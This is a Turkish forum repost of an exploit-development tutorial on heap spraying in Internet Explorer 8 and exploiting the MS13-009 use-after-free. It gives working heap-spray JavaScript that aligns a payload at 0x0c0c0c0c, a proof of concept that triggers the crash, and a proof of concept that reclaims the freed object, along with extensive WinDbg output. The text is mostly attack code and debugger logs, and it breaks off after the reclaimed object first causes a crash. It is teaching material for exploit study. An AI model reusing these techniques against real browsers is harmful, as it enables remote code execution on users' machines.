Windows Exploit Geliştirme Serisi #9 | Yığın Püskürtmesi [2.Kısım: Use-After-Free] - Samanlıkta İğne Aramak

Provido

Katılımcı Üye
21 Eki 2015
477
1
Bölüm 9: Yığın Püskürtmesi [2.Kısım: Use-After-Free] - Samanlıkta İğne Aramak



Merhaba ve yığın püskürtme hakkındaki bu 2 bölümlü öğreticinin 2. kısmına hoş geldiniz. Bu öğretici IE8 kırılgan yığın püskürtme size yol verecektir. Yığın spreyinizle aşırı derecede hassas olmanız gereken iki temel konu vardır: (1) DEP ile ilgilenmeniz gerekir, bu durumda yürütme akışını ROP zincirinizin başına yönlendirebilmeniz gerekir, (2) Use-After-Free kullanımından yararlanmanız ve Vtable Yönteminin koşullarını karşılamanız gerekir. Zevk için (ve Ağrı) ben bu emniyet açıkları sadece her iki sorunları ile ilgilenen bir misal bulmak istedim ancak bu açıklar fazlaca kompleks ve ne olursa olsun bir giriş için müsait değil. Burada iki şey açıklığa kavuşturmalıydım. Herşeyden önce pratik mükemmelleştirir, açıkları bulun, tökezleyin, daha çok kontrol edin, tökezlemeyi azaltın ve devam edin. İkinci olarak, bu öğretici emniyet açığı analizi üstünde durulmaz, her vakit olduğu şeklinde bu öğreticiler size exploit ederken karşılaşacağınız engeller ve aşmak için ne yapmanız icap ettiğini anlatır .


Bugün MS13-009'a bakacağız, met4sploit modüllerini burada bulabilirsiniz. Ben de bu mevzunun daha iyi bir anlaşılması için benim fazlaca öneri ettiğim okumanız gerekenleri aşağıda birtakım linkleri ile ekledik.


Hata Ayıklama Makinesi:
IE8 ile Windows XP SP3


Bağlantı:

Exploit yazma öğretici bölüm 11 : Yığın Püskürtme Demystified (corelan) - buradan
JavaScript (Alexander Sotirov) arasında Yığın Feng Shui - buradan
Use-After-Free Güvenlik Açığının Post-mortem Analizi (Exploit-Monday) - buradan
Rop nops (GreyHatHacker) ile Internet Explorer'da Yığın püskürtme - buradan
CVE-2013-0025 MS13-009 IE SLayouRun (ms13-009 Çince analizi, muhtemelen google önbelleğine yüklemeniz gerekir) - buradan


Giriş

Bence bu mevzuda sadece karşılaşacağımız engellerin bir çok size yabancı olmadığını farkedeceksiniz birtakım giriş için gereksinim olarak farz edelim. Ben fazlaca vakit alacağı için bütün konuların ince detaylarına değinemeyeceğim. Bazı mevzular burada size yabancı görünüyorsa, yukarıdaki okuma materyaline ayrıca Bölüm 7 (Dönüş Odaklı Programlama) ve Bölüm 8’deki (Yığın [Bölüm 1: Vanilya EIP] Püskürtme) bu öğretici serilerini okumanızı öneririm.

Use-After-Free hakkındaki konuşmadan önce vtables'ın ne işe yaradığını anlamamız gerekir. C++ dili, taban sınıfların sanal işlevleri tanımlamasına imkan tanımlanır. Taban sınıf türetilmiş sınıflar bu işlevlerin kendi uygulamalarını tanımlayabilir. Bu nedenle sanal işlevler türemiş sınıfların taban sınıf tarafınca sağlanan uygulamanın yerine geçmelerine izin verir. Derleyici, söz mevzusu nesne türetilmiş sınıfın gerçekte olduğunda değiştirmenin her vakit çağrılmasını sağlar. Tüm bunlar çalışma zamanında olur.


Vtables taban sınıfta tanımlanan işlevlerin muhtelif uygulamaları işaretçilerini tutar. Bir işlevin emek verme zamanında çağrılması gerektiğinde, müsait işaretçi vtable'dan, gereksinim duyduğu türemiş sınıfa bakılırsa seçilir. Biz aşağıda bunu bir grafik olarak görebilirsiniz.



UAF1_big.png




Use-After-Free emniyet açıkları genel hatlarıyla karmaşıktır ve durumdan duruma değişir. Normalde yürütme akışı şöyleki çalışır: (1) Bir noktada bir nesne oluşturulur ve bir vtable ile ilişkilendirilir sonrasında (2) sonrasında nesne bir vtable işaretçisi tarafınca çağrılır. Nesneyi çağrılmadan ilkin özgür bırakırsak, sonrasında nesneyi çağırmaya çalıştığımızda program çöker. (mesela: Nesneyi Serbest Bırakıldıktan Sonra Kullanmaya Çalışır – UAF).

Bu problemi exploit etmek için genel hatlarıyla aşağıdaki adımları gerçekleştireceğiz: (1) Bir noktada bir nesne oluşturulur, (2) bu nesnede serbest bir şeyi tetikleriz. (3) özgün nesne boyutuna olduğunca yakın orjinaline benzeyen kendi nesnemizi oluştururuz, (4) sonrasında vtable işaretçisi ismi verildiğinde feyk nesne kullanılacak ve kodu yürütürüz.

Her zamanki gibi, hepsi kulağa kompleks geliyor fakat uygulamalı örnekler ile daha iyi kavrayacaksınız. Bunu ortadan kaldırmak için ilkin emin bir yığın spreyi oluşturacağız, peşinden dikkatimizi ms13-009'a odaklayacağız!


Shellcode Yığınları


Biz Bölüm 8’de yapmış olduğumuz gibi IE8’e güvenilir bir yığın spreyi yaparak başlayacağım. Aşağıdaki POC ile başlamadan ilkin yaptığımız işe devam ediyoruz. Bu POC, Bölüm 8'deki sürümden birazcık farklı. Buradaki temel ayrım, alloc ismi verilen ve arabelleğimizi giriş olarak alan ve BSTR belirtimlerine uyacak biçimde ayırmaların boyutunu ayarlayan bir fonksiyon eklemiş olmamdır (BSTR üstbilgisini ve altbilgisini telafi etmek için 6'yı çıkarmamız ve unicode unescape kullandığımız için ikiye bölmemiz gerekir).



Kod:
<html>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000; // 4096-bytes
    NopSlide = '';
     
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - Shellcode.length);
     
    var OBJECT = Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
     
    alert("Spray Done!");
     
</script>
</html>



Hata ayıklayıcıya süratli bir göz atalım ve bu spreyi çalıştırdığımızda nasıl sonuçlanacağını görelim.



Kod:
Looking at the default process heap we can see that our spray accounts for 98,24% of the busy blocks, we
can tell it is our spray because the blocks have a size of 0xfffe0 (= 1 mb).

0:019> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    fffe0 97 - 96fed20  (98.24)
    3fff8 3 - bffe8  (0.49)
    7ff8 f - 77f88  (0.30)
    1fff8 3 - 5ffe8  (0.24)
    1ff8 28 - 4fec0  (0.20)
    fff8 3 - 2ffe8  (0.12)
    3ff8 7 - 1bfc8  (0.07)
    ff8 13 - 12f68  (0.05)
    7f8 1e - ef10  (0.04)
    8fc1 1 - 8fc1  (0.02)
    5fc1 1 - 5fc1  (0.02)
    57e0 1 - 57e0  (0.01)
    3f8 15 - 5358  (0.01)
    4fc1 1 - 4fc1  (0.01)
    5e4 b - 40cc  (0.01)
    3980 1 - 3980  (0.01)
    20 1bb - 3760  (0.01)
    388 d - 2de8  (0.01)
    2cd4 1 - 2cd4  (0.01)
    480 7 - 1f80  (0.01)

Listing only the al******** with a size of 0xfffe0 we can see that our spray is huge stretching from
0x03680018 to 0x0d660018. Another important thing to notice is that the Heap Entry Addresses all seem
to end like this 0x????0018, this is a good indicator that our spray is reliable.

0:019> !heap -flt s fffe0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03680018 1fffc 0000  [0b]   03680020    fffe0 - (busy VirtualAlloc)
        03a30018 1fffc fffc  [0b]   03a30020    fffe0 - (busy VirtualAlloc)
        03790018 1fffc fffc  [0b]   03790020    fffe0 - (busy VirtualAlloc)
        038a0018 1fffc fffc  [0b]   038a0020    fffe0 - (busy VirtualAlloc)
        03b40018 1fffc fffc  [0b]   03b40020    fffe0 - (busy VirtualAlloc)
        03c50018 1fffc fffc  [0b]   03c50020    fffe0 - (busy VirtualAlloc)
[...snip...]
        0d110018 1fffc fffc  [0b]   0d110020    fffe0 - (busy VirtualAlloc)
        0d220018 1fffc fffc  [0b]   0d220020    fffe0 - (busy VirtualAlloc)
        0d330018 1fffc fffc  [0b]   0d330020    fffe0 - (busy VirtualAlloc)
        0d440018 1fffc fffc  [0b]   0d440020    fffe0 - (busy VirtualAlloc)
        0d550018 1fffc fffc  [0b]   0d550020    fffe0 - (busy VirtualAlloc)
        0d660018 1fffc fffc  [0b]   0d660020    fffe0 - (busy VirtualAlloc)


0:019> d 03694024-10
03694014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03694034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03694084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:019> d 03694024-10+2000
03696014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03696034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03696084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:019> d 03694024-10+4000
03698014  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698024  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
03698034  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698044  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698054  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698064  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698074  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03698084  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

We are particularly interested in the address 0x0c0c0c0c. Since this address has been allocate on the heap
by our spray we can use the command below we can find out which Heap Entry 0x0c0c0c0c belongs to.

0:019> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c010018 1fffc 0000  [0b]   0c010020    fffe0 - (busy VirtualAlloc)



Aşağıdaki resim, spreyimizin görsel bir temsilidir. Yığını kendi verilerimizin 150mb'si ile doldurduk, bu 150mb, 1mb'lik 150 bölüme bölünmüştür (her parça ayrı bir BSTR nesnesi olarak saklanır). Bu BSTR nesnesi, shellcode ve NOP'larımızı içeren 0x1000 hex (4096 bayt) bloklarıyla doldurulur.



UAF2_big.png




Şimdiye kadar iyiyiz! Daha sonrasında, yığın spreyimizi yeniden hizalamalıyız, böylece shellcode değişkeni tam olarak 0x0c0c0c0c'yi gösterecek ve bu da ROP zincirimizin başlangıcı olacaktır. Yığın spreyimiz sebebiyle 0x0c0c0c0c'nin bellekte bir yere tahsis edildiğini düşünün, o vakit 0x1000 bloğumuz arasında belirli bir ofseti olmalıdır. Yapmak isteyeceğimiz şey, bloğun başlangıcından 0x0c0c0c0c'ye kadar ofseti hesaplamak ve bunu spreyimize dolgu olarak eklemek.



Kod:
 ________________________                          ________________________
|                        |                        |                        |
|       Shellcode        |                        |        Padding         |
|------------------------|                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        | <-- 0x0c0c0c0c         |------------------------| <-- 0x0c0c0c0c
|                        |     Points into our    |                        |     Points at the 
|         NOP's          |     NOP's.             |       Shellcode        |     beginning of our
|                        |                        |                        |     shellcode.
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |                        |
|                        |                        |        [+ NOP's]       |
|                        |                        |                        |
|     (0x1000 Block)     |                        |     (0x1000 Block)     |
|________________________|                        |________________________|



Yukarıdaki spreyi yine çalıştırırsanız, 0x0c0c0c0c'nin her vakit aynı Yığın Girişini göstermediğini fark edeceksiniz, sadece 0x1000 onaltılık bloğumuzun başlangıcından 0x0c0c0c0c'ye olan uzaklık her vakit durağan kalacaktır. Dolgumuzun boyutunu hesaplamak için ihtiyacımız olan bütün bilgilere aslına bakarsanız sahibiz.



Kod:
0:019> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c010018 1fffc 0000  [0b]   0c010020    fffe0 - (busy VirtualAlloc)
        
        
  0x0c0c0c0c (Address we are interested in)
- 0x0c010018 (Heap Entry Address)
  ----------
     0xb0bf4 => Distance between the Heap Entry address and 0x0c0c0c0c, this value will be different from
                spray to spray. Next we need to find out what the offset is in our 0x1000 hex block. We
                can do this by subtracting multiples of 0x1000 till we have a value that is smaller than
                0x1000 hex (4096-bytes).

       0xbf4 => We need to correct this value based on our al******** size => (x/2)-6
       
       0x5f4 => If we insert a padding of this size in our 0x1000 block it will align our shellcode
                exactly to 0x0c0c0c0c.



POC'yi değiştirelim ve hata ayıklayıcıda spreyi yine çalıştıralım.



Kod:
<html>
<script>
 
    //Fix BSTR spec
    function alloc(bytes, mystr) {
        while (mystr.length<bytes) mystr += mystr;
        return mystr.substr(0, (bytes-6)/2);
    }
     
    block_size = 0x1000;
    padding_size = 0x5F4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
    Padding = '';
    NopSlide = '';
     
    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');
     
    for (p = 0; p < padding_size; p++){ 
    Padding += unescape('%ub33f');}
     
    for (c = 0; c < block_size; c++){ 
    NopSlide += unescape('%u9090');}
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
     
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
     
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
     
    alert("Spray Done!");
     
</script>
</html>



Aşağıda görebileceğimiz şeklinde, shellcodemuzu 0x0c0c0c0c olarak yine hizalamayı başardık. Aslında bellekte "FuzzySecurity" dizesini aradığımızda, bütün konumların aynı bayt 0x?????c0c ile bittiğini görebiliriz.



Kod:
0:019> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    fffe0 97 - 96fed20  (98.18)
    3fff8 3 - bffe8  (0.49)
    7ff8 f - 77f88  (0.30)
    1fff8 3 - 5ffe8  (0.24)
    1ff8 2b - 55ea8  (0.22)
    fff8 4 - 3ffe0  (0.16)
    3ff8 8 - 1ffc0  (0.08)
    ff8 13 - 12f68  (0.05)
    7f8 1e - ef10  (0.04)
    8fc1 1 - 8fc1  (0.02)
    5fc1 1 - 5fc1  (0.02)
    57e0 1 - 57e0  (0.01)
    3f8 15 - 5358  (0.01)
    4fc1 1 - 4fc1  (0.01)
    5e4 b - 40cc  (0.01)
    3980 1 - 3980  (0.01)
    20 1bb - 3760  (0.01)
    388 d - 2de8  (0.01)
    2cd4 1 - 2cd4  (0.01)
    480 7 - 1f80  (0.01)
	

0:019> s -a 0x00000000 L?7fffffff "FuzzySecurity"
[...snip...]
0c0c0c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
[...snip...]
0d874c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d876c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d878c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87ac0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87cc0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0d87ec0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...


0:019> d 0c0c0c0c-20
0c0c0bec  3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3  ?.?.?.?.?.?.?.?.
0c0c0bfc  3f b3 3f b3 3f b3 3f b3-3f b3 3f b3 3f b3 3f b3  ?.?.?.?.?.?.?.?.
0c0c0c0c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 90 90  FuzzySecurity...
0c0c0c1c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c2c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c3c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c4c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c5c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................



Böylece artık yığın spreyimizi, shell kodumuzu seçtiğimiz rastgele bir adresi gösterecek biçimde yine hizalamayı başardık (bu durumda 0x0c0c0c0c). Yığın spreyi IE7-8 üstünde çalışır ve Windows XP ve Windows 7 üstünde kontrol edilmiştir. Bazı değişimlerle IE9 üstünde de çalışılabilir, sadece bu eğitimin kapsamı dışındadır.



MS13-009'a Daha Yakından Bir Bakış



Daha ilkin de belirtildiği şeklinde, bu eğitimin ana amacı, emniyet açığını analiz etmek değil, açıkları yazarken karşılaştığınız engelleri anlamaktır. Bununla birlikte, neler bulunduğunu algılamak için emniyet açığına süratli bir biçimde bakacağız. Aşağıdaki POC, hatayı tetikleyen en akıcı konu dosyasıdır.



Kod:
<!doctype html>
<html>
<head>
<script>
  
    setTimeout(function(){
    ********.body.style.whiteSpace = "pre-line";
     
    //CollectGarbage();
  
        setTimeout(function(){********.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>



Tamam, emniyet açığını tetiklediğimizde nasıl sonuçlanacağını görmek için hata ayıklayıcıya bir göz atalım. CollectGarbage () işlevini eklediğimi (sadece yorum yaptığımı) fark edeceksiniz. Testlerim esnasında hatanın birazcık güvenilmez bulunduğunu ayrım ettim (ancak yaklaşık %80), bu nedenle güvenilirliği artırıp artırmayacağını görmek için CollectGarbage () ile deneyler yapıyordum. CollectGarbage (), oleaut32.dll'de hususi bir yığın yönetimi motoru vasıtasıyla uygulanan dört kutuyu boşaltan javascript tarafınca açığa çıkan bir işlevdir. Bu, sadece sonrasında kendi sahte nesnemizi yığına ayırmaya çalıştığımızda geçerli hale gelecektir. Testlerimden herhangi bir ayrım yarattığını belirleyemedim, sadece bu mevzuda herhangi bir girdisi var ise aşağıya bir yorum bırakın.

Aşağıdaki yürütme akışından, bir nesnenin EAX'ten 0x70 hex ofsetinde bir vtable'da bir işlevi çağırmaya çalıştığını görebiliriz.



Kod:
0:019> g
(e74.f60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00205618 ecx=024e0178 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????


0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01            mov     eax,dword ptr [ecx]
3cf76982 8b5070          mov     edx,dword ptr [eax+70h]
3cf76985 ffd2            call    edx
3cf76987 8b400c          mov     eax,dword ptr [eax+0Ch]
3cf7698a c3              ret



Yığın izleme, çökmeye neden olan yürütme akışında kimin çökmeye neden olduğunu bize gösteriyor. Çağrının çökmemiş olması niteliğinde geri dönmesi ihtiyaç duyulan dönüş adresinde sökersek, fonksiyonumuzun nasıl çağrıldığını görebiliriz. Görünüşe bakılırsa EBX'teki birtakım nesneler vtable işaretçisini ECX'e geçirmiş ve bu sonrasında mshtml! CElement :: Doc tarafınca 0x70 onaltılık bir ofsette bir işlev çağırmak için başvurulmuştur.



Kod:
0:008> knL
 # ChildEBP RetAddr  
00 0162bca0 3cf149d1 mshtml!CElement::Doc+0x2
01 0162bcbc 3cf14c3a mshtml!CTreeNode::ComputeFormats+0xb9
02 0162bf68 3cf2382e mshtml!CTreeNode::ComputeFormatsHelper+0x44
03 0162bf78 3cf237ee mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
04 0162bf88 3cf237d5 mshtml!CTreeNode::GetFancyFormatHelper+0xf
05 0162bf98 3d013ef0 mshtml!CTreeNode::GetFancyFormat+0x35
06 0162bfb8 3d030be9 mshtml!CLayoutBlock::GetDisplayAndPosition+0x77
07 0162bfd4 3d034850 mshtml!CLayoutBlock::IsBlockNode+0x1e
08 0162bfec 3d0347e2 mshtml!SLayoutRun::GetInnerNodeCrossingBlockBoundary+0x43
09 0162c008 3d0335ab mshtml!CTextBlock::AddSpansOpeningBeforeBlock+0x1f
0a 0162d71c 3d03419d mshtml!CTextBlock::BuildTextBlock+0x280
0b 0162d760 3d016538 mshtml!CLayoutBlock::BuildBlock+0x1ec
0c 0162d7e0 3d018419 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59c
0d 0162d818 3d01bb86 mshtml!CLayoutBlock::BuildBlock+0x1c1
0e 0162d8dc 3d01ba45 mshtml!CCss********Layout::GetPage+0x22a
0f 0162da4c 3cf5bdc7 mshtml!CCssPageLayout::CalcSizeVirtual+0x254
10 0162db84 3cee2c95 mshtml!CLayout::CalcSize+0x2b8
11 0162dc20 3cf7e59c mshtml!CView::EnsureSize+0xda
12 0162dc64 3cf8a648 mshtml!CView::EnsureView+0x340
13 0162dc8c 3cf8a3b9 mshtml!CView::EnsureViewCallback+0xd2
14 0162dcc0 3cf750de mshtml!GlobalWndOnMethodCall+0xfb
15 0162dce0 7e418734 mshtml!GlobalWndProc+0x183
16 0162dd0c 7e418816 USER32!InternalCallWinProc+0x28
17 0162dd74 7e4189cd USER32!UserCallWinProcCheckWow+0x150
18 0162ddd4 7e418a10 USER32!DispatchMessageWorker+0x306
19 0162dde4 3e2ec29d USER32!DispatchMessageW+0xf
1a 0162feec 3e293367 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c
1b 0162ffa4 3e135339 IEFRAME!LCIETab_ThreadProc+0x2c1
1c 0162ffb4 7c80b729 iertutil!CIsoScope::RegisterThread+0xab
1d 0162ffec 00000000 kernel32!BaseThreadStart+0x37


0:008> u 3cf149d1-7
mshtml!CTreeNode::ComputeFormats+0xb2:
3cf149ca 8b0b            mov     ecx,dword ptr [ebx]
3cf149cc e8af1f0600      call    mshtml!CElement::Doc (3cf76980)
3cf149d1 53              push    ebx
3cf149d2 891e            mov     dword ptr [esi],ebx
3cf149d4 894604          mov     dword ptr [esi+4],eax
3cf149d7 8b0b            mov     ecx,dword ptr [ebx]
3cf149d9 56              push    esi
3cf149da e837010000      call    mshtml!CElement::ComputeFormats (3cf14b16)


We can confirm our suspicions by looking at some register values.

0:008> d ebx
00205618  78 01 4e 02 00 00 00 00-4d 20 ff ff ff ff ff ff  x.N.....M ......
00205628  51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  Q...............
00205638  00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00  ........R.......
00205648  00 00 00 00 00 00 00 00-00 00 00 00 80 3f 4e 02  .............?N.
00205658  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00205668  a5 0d a8 ea 00 01 0c ff-b8 38 4f 02 e8 4f 20 00  .........8O..O .
00205678  71 02 ff ff ff ff ff ff-71 01 00 00 01 00 00 00  q.......q.......
00205688  f8 4f 20 00 80 4b 20 00-f8 4f 20 00 98 56 20 00  .O ..K ..O ..V .

0:008> d ecx
024e0178  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e0188  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e0198  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01a8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01b8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01c8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01d8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
024e01e8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0:008> r
eax=00000000 ebx=00205618 ecx=024e0178 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246



Bazı sinsi kesme noktalarını kullanarak, tanıdık değerlerin açılıp açılmadığını görmek için mshtml! CTreeNode tarafınca meydana getirilen tahsisleri izleyebiliriz. Aşağıdaki sonuçlar EBX'in CparaElement'i işaret ettiğini ve çağrılması ihtiyaç duyulan işlevin Celement :: SecurityContext bulunduğunu göstermektedir . Bu, MS13-009 emniyet açığı açıklamasına mukabil geliyor şeklinde görünüyor: "Microsoft Internet Explorer'da, CParaElement düğümünün yayınlandığı sadece referansın hala CDoc'da tutulduğu, Use-After-Free Bir Güvenlik açığı. Bu hafıza, bir CDoc yine düzenlendiğinde yine kullanılır gerçekleştirilir. ".



Kod:
0:019> bp mshtml!CTreeNode::CTreeNode+0x8c ".printf \"mshtml!CTreeNode::CTreeNode allocated obj at %08x,
ref to obj %08x of type %08x\\n\", eax, poi(eax), poi(poi(eax)); g"

0:019> g
mshtml!CTreeNode::CTreeNode allocated obj at 002059d8, ref to obj 024d1f70 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002060b8, ref to obj 024d1e80 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002060b8, ref to obj 0019ef80 of type 3cf6fb00
mshtml!CTreeNode::CTreeNode allocated obj at 00206218, ref to obj 024d1e80 of type 3cecf528
mshtml!CTreeNode::CTreeNode allocated obj at 00205928, ref to obj 024d1be0 of type 3cecf7f8
mshtml!CTreeNode::CTreeNode allocated obj at 00206008, ref to obj 024ff7d0 of type 3cecfa78
mshtml!CTreeNode::CTreeNode allocated obj at 00205c98, ref to obj 024151c0 of type 3ceca868
mshtml!CTreeNode::CTreeNode allocated obj at 002054b0, ref to obj 024ff840 of type 3cedcfe8
mshtml!CTreeNode::CTreeNode allocated obj at 00205fb0, ref to obj 024d1c10 of type 3cee61e8
mshtml!CTreeNode::CTreeNode allocated obj at 00206060, ref to obj 030220b0 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002062c8, ref to obj 03022110 of type 3cecf528
mshtml!CTreeNode::CTreeNode allocated obj at 00206320, ref to obj 03022170 of type 3cecf7f8
mshtml!CTreeNode::CTreeNode allocated obj at 00206378, ref to obj 024ffb88 of type 3cecfa78
mshtml!CTreeNode::CTreeNode allocated obj at 002063d0, ref to obj 024ffb50 of type 3cedcfe8
(b54.cd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00205fb0 ecx=024d0183 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00000070=????????

0:008> ln 3cee61e8
(3cee61e8)   mshtml!CParaElement::`vftable'   |  (3d071410)   mshtml!CUListElement::`vftable'
Exact matches:
    mshtml!CParaElement::`vftable' = <no type information>

0:008> ln poi(mshtml!CParaElement::`vftable'+0x70)
(3cf76950)   mshtml!CElement::SecurityContext   |  (3cf76980)   mshtml!CElement::Doc
Exact matches:
    mshtml!CElement::SecurityContext (<no parameter info>)



MS13-009 EIP


Daha ilkin de bahsettiğim şeklinde, burada ana odak noktası, exploit geliştirme sürecinde karşılaştığımız engellerin nasıl aşılacağıdır, bundan dolayı kendi nesnemizi yığına nasıl yerleştireceğimizi açıklamaya vakit ayırmayacağım. Bunun yerine, herkese açık bir exploitin bir parçasını kullanacağım. Yeni POC'umuz aşağıda görülebilir.



Kod:
<!doctype html>
<html>
<head>
<script>
 
    var data;
    var objArray = new Array(1150);
  
    setTimeout(function(){
    ********.body.style.whiteSpace = "pre-line";
  
    //CollectGarbage();
  
        for (var i=0;i<1150;i++){
            objArray[i] = ********.createElement('div');
            objArray[i].className = data += unescape("%u0c0c%u0c0c");
        }
  
        setTimeout(function(){********.body.innerHTML = "boo"}, 100)
        }, 100)
  
</script>
</head>
<body>
<p> </p>
</body>
</html>



Tekrar CollectGarbage() fonksiyonuna dikkat edin, bu fonksiyonlar uğraşmaktan çekinmeyin ve objenin yerini değiştirince önemli bir değişiklik olup olmadığına bakın. Hata ayıklayıcıya bir göz atalım ve bu POC’u çalıştırdığımızda ne olduğuna bakalım.



Kod:
0:019> g
(ee4.d9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
